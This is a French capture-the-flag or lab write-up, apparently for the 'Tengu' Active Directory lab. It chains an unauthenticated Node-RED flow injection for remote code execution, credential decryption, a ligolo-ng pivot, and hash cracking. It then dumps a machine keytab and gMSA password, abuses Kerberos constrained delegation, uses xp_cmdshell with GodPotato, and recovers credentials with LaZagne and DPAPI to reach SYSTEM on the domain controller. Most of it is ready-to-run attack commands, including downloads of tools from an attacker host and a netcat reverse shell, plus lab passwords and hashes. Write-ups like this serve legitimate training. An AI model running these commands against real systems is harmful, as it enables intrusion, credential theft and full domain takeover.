1. Reconnaissance et RCE Node-RED non authentifiée
Seule une IP est fournie en externe. Le scan complet ne révèle que deux ports : SSH et Node-RED (1880), configuré avec un backend MSSQL vers sql.tengu.vl:1433/Dev.
Scan
nmap 10.13.38.40 -Pn -p- -sT -T4 --min-rate 1000
→ 22/tcp (SSH), 1880/tcp (Node-RED)L'API REST d'admin de Node-RED (/flows) est accessible sans authentification. Le flow existant contient un bug (results.foreach au lieu de forEach), mais surtout : n'importe qui peut réécrire les flows et forcer un redeploy. Un node exec natif est injecté, câblé directement sur le node inject existant (qui se déclenche automatiquement 0.1s après chaque déploiement).
Injection du node exec + redeploy
curl -s http://10.13.38.40:1880/flows -o flows.json
curl -X POST http://10.13.38.40:1880/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-d @flows_evil.jsonPiège rencontré : avec useSpawn:"true", le node exec n'utilise pas de shell (spawn() direct) - unbash -c '...' échoue silencieusement (rc:-2). Passer en useSpawn:"false"(utilise child_process.exec via /bin/sh -c) résout le problème et autorise la syntaxe shell complète.
Résultat
uid=1001(nodered_svc) gid=1001(nodered_svc) groups=1001(nodered_svc)
noderedShell obtenu en tant que nodered_svc. Pour itérer sans reverse shell interactif fragile, une petite primitive de RCE est construite : déploiement du node exec avec la commande voulue, déclenchement via /inject/{id}, capture de stdout/stderr via un node debug relié, lu en direct sur le websocket admin (/comms) de Node-RED.
2. Déchiffrement des credentials Node-RED et pivot ligolo-ng
realm list confirme le join au domaine TENGU.VL via SSSD, avec permitted-groups: Domain Users - n'importe quel compte de domaine pourra donc SSH directement sur cette machine plus tard. Le secret de chiffrement Node-RED traîne en clair dans .config.runtime.json.
Résultat
_credentialSecret: dee5c9fb0287ad39bac9f29bfe6f3adb4be9826f135eb6da91de0d013bd6799bDéchiffrement AES-256-CTR en Node.js local (clé = SHA256 du secret, IV = 32 premiers hex du blob) :
nodered_connector
DreamPuppyOverall25Le pivot a une seconde interface réseau vers l'AD interne, invisible depuis l'extérieur. Tunnel monté avec ligolo-ng (agent uploadé et exécuté via la RCE Node-RED).
Setup ligolo-ng
ligolo-ng-proxy -selfcert -laddr 0.0.0.0:11601
# cible : upload + exec de l'agent via la RCE
wget http://<attaquant>:8888/agent -O /tmp/.agent && chmod +x /tmp/.agent
/tmp/.agent -connect <attaquant>:11601 -ignore-cert -retry &
# console proxy
session
interface_create --name tengu0
interface_route_add --name tengu0 --route 192.168.50.0/24
tunnel_start --tun tengu0Résultat
192.168.50.10 -> DC
192.168.50.12 -> SQL
192.168.50.240 -> le pivot nodered lui-même3. MSSQL, cassage du hash et flag Impersonate
Enumeration MSSQL
mssqlclient.py './nodered_connector:DreamPuppyOverall25@192.168.50.12'
use Demo
SELECT * FROM Users;Résultat
t2_m.winters : af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147 (SHA256 non salé)Hash absent de rockyou même avec les règles étendues. Cracké via CrackStation (recherche dans des tables précalculées massives, pas du brute-force) - confirmé aussi comme mot de passe de domaine.
Puisque permitted-groups: Domain Users autorise le SSH direct, connexion immédiate avec ce compte fraîchement cracké :
SSH direct + sudo
sshpass -p '<mdp>' ssh -l 't2_m.winters@tengu.vl' 10.13.38.40
# groupe linux_server_admins -> sudo fonctionne avec le mot de passe de domaine
sudo cat /root/root.txtFlag : Impersonate
••••••••••••••••••••••••••••••••Cliquer pour afficher4. BloodHound, keytab de la machine et abus du gMSA
Collecte BloodHound
bloodhound-python -u 't2_m.winters' -p '<mdp>' -d tengu.vl -ns 192.168.50.10 -dc DC.tengu.vl -c All --zipFaits clés (parsing direct des JSON, sans neo4j) : le compte machine NODERED$ a le droitReadGMSAPassword sur gMSA01$ (via le groupe Linux_Server) ; gMSA01$ a la délégation contrainte activée (trustedtoauth) vers MSSQLSvc/sql.tengu.vl ; le groupe SQL_Admins contient t1_m.winters (hors Protected Users, exploitable) et T1_C.FOWLER (dans Protected Users - à éviter, NTLM/RC4 désactivés).
Le compte machine NODERED$ est justement celui sur lequel on tourne : extraction de son keytab local (root requis, obtenu via sudo).
Extraction du keytab machine
sudo base64 /etc/krb5.keytab
python3 keytabextract.py krb5.keytabRésultat
NTLM : d4210ee2db0c03aa3611c9ef8a4dbf49
AES-256 : 4ce11c580289227f38f8cc0225456224941d525d1e525c353ea1e1ec8313...Dump du mot de passe gMSA
nxc ldap 192.168.50.10 -u 'NODERED$' -H d4210ee2db0c03aa3611c9ef8a4dbf49 --gmsaRésultat
gMSA01$ NTLM : 2d91717c8e5a25b60b977c484b0bbbd05. Délégation contrainte, GodPotato et flag Tengu Master
gMSA01$ peut impersonner n'importe qui vers MSSQL via S4U2Self/S4U2Proxy. Impersonation de t1_m.winters (qui évite les restrictions Protected Users) pour obtenir un ticket de service sysadmin.
S4U2Proxy
getST.py -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 't1_m.winters' -dc-ip 192.168.50.10 \
-hashes ':2d91717c8e5a25b60b977c484b0bbbd0' 'tengu.vl/gMSA01$'
export KRB5CCNAME=t1_m.winters@MSSQLSvc_sql.tengu.vl@TENGU.VL.ccache
mssqlclient.py -k -no-pass tengu.vl/t1_m.winters@sql.tengu.vl -target-ip 192.168.50.12Résultat
system_user = TENGU\t1_m.winters
is_srvrolemember('sysadmin') = 1
whoami /priv -> SeImpersonatePrivilege: Enabled (process tourne en tengu\gmsa01$)enable_xp_cmdshell puis upload de GodPotato et d'un netcat Windows via des listeners ligolo-ng côté agent (seul le pivot nodered est routable depuis SQL) :
Listeners ligolo-ng + upload
listener_add --addr 0.0.0.0:9091 --to 127.0.0.1:9091 --tcp # http.server
listener_add --addr 0.0.0.0:4040 --to 127.0.0.1:4040 --tcp # reverse shell
# xp_cmdshell (PowerShell -EncodedCommand, plus fiable que les guillemets imbriqués)
Invoke-WebRequest -Uri http://192.168.50.240:9091/GodPotato-NET4.exe -OutFile $env:TEMP\GodPotato-NET4.exe
Invoke-WebRequest -Uri http://192.168.50.240:9091/nc64.exe -OutFile $env:TEMP\nc64.exe
%TEMP%\GodPotato-NET4.exe -cmd "%TEMP%\nc64.exe 192.168.50.240 4040 -e cmd.exe"Résultat
whoami -> nt authority\systemFlag : Tengu Master
••••••••••••••••••••••••••••••••Cliquer pour afficher6. LaZagne, DPAPI et compromission du DC - flag Red
Une tâche planifiée C:\admin\Task.ps1 confirme le décor (surveillance du service MSSQL). LaZagne uploadé et lancé pour moissonner les credentials locales.
LaZagne
Invoke-WebRequest -Uri http://192.168.50.240:9091/LaZagne.exe -OutFile $env:TEMP\LaZagne.exe
%TEMP%\LaZagne.exe allRésultat
Hashdump local : Administrator:500:...:73db3fdd24bee6eeb5aac7e17e4aba4c:::
Vault (Credential Manager) : entrée DPAPI non déchiffrée pour une tâche planifiée -> TENGU\T0_c.fowlerDéchiffrement DPAPI complet avec le hash Administrator local (SAM, pas domaine) :
Déchiffrement DPAPI
nxc smb 192.168.50.12 -u Administrator -H 73db3fdd24bee6eeb5aac7e17e4aba4c --local-auth --dpapiRésultat
TENGU\T0_c.fowler : <mot de passe recupere>T0_c.fowler est un compte Tier-0 dans Protected Users : l'authentification NTLM classique échoue, seule une authentification Kerberos AES est acceptée.
NTLM bloqué, bascule Kerberos
nxc smb 192.168.50.10 -u 'T0_c.fowler' -p '<mdp>'
# STATUS_ACCOUNT_RESTRICTION
getTGT.py 'tengu.vl/T0_c.fowler:<mdp>' -dc-ip 192.168.50.10
export KRB5CCNAME=T0_c.fowler.ccache
psexec.py -k -no-pass tengu.vl/T0_c.fowler@dc.tengu.vl -target-ip 192.168.50.10 -dc-ip 192.168.50.10Résultat
whoami -> nt authority\system (SYSTEM sur le DC)Flag : Red
••••••••••••••••••••••••••••••••Cliquer pour afficherRécap
- Accès initial : API admin Node-RED non authentifiée → node exec injecté → RCE en tant que nodered_svc
- Credentials Node-RED : secret de chiffrement en clair dans la config → déchiffrement AES-256-CTR → creds MSSQL
- Pivot : ligolo-ng via la 2e interface du pivot Linux → accès au réseau AD interne (DC + SQL)
- Flag Impersonate : hash MSSQL de t2_m.winters cracké (CrackStation) → SSH direct (Domain Users autorisés) → sudo → root
- gMSA : BloodHound → NODERED$ lit le mot de passe de gMSA01$ → keytab machine (sudo) → dump gMSA
- Flag Tengu Master : délégation contrainte gMSA01$ → impersonate t1_m.winters (évite Protected Users) → sysadmin MSSQL → xp_cmdshell + SeImpersonatePrivilege → GodPotato → SYSTEM sur SQL
- Flag Red : LaZagne → hash Administrator local + vault DPAPI (T0_c.fowler) → netexec --dpapi → mot de passe en clair → Kerberos (NTLM bloqué, Protected Users) → SYSTEM sur le DC
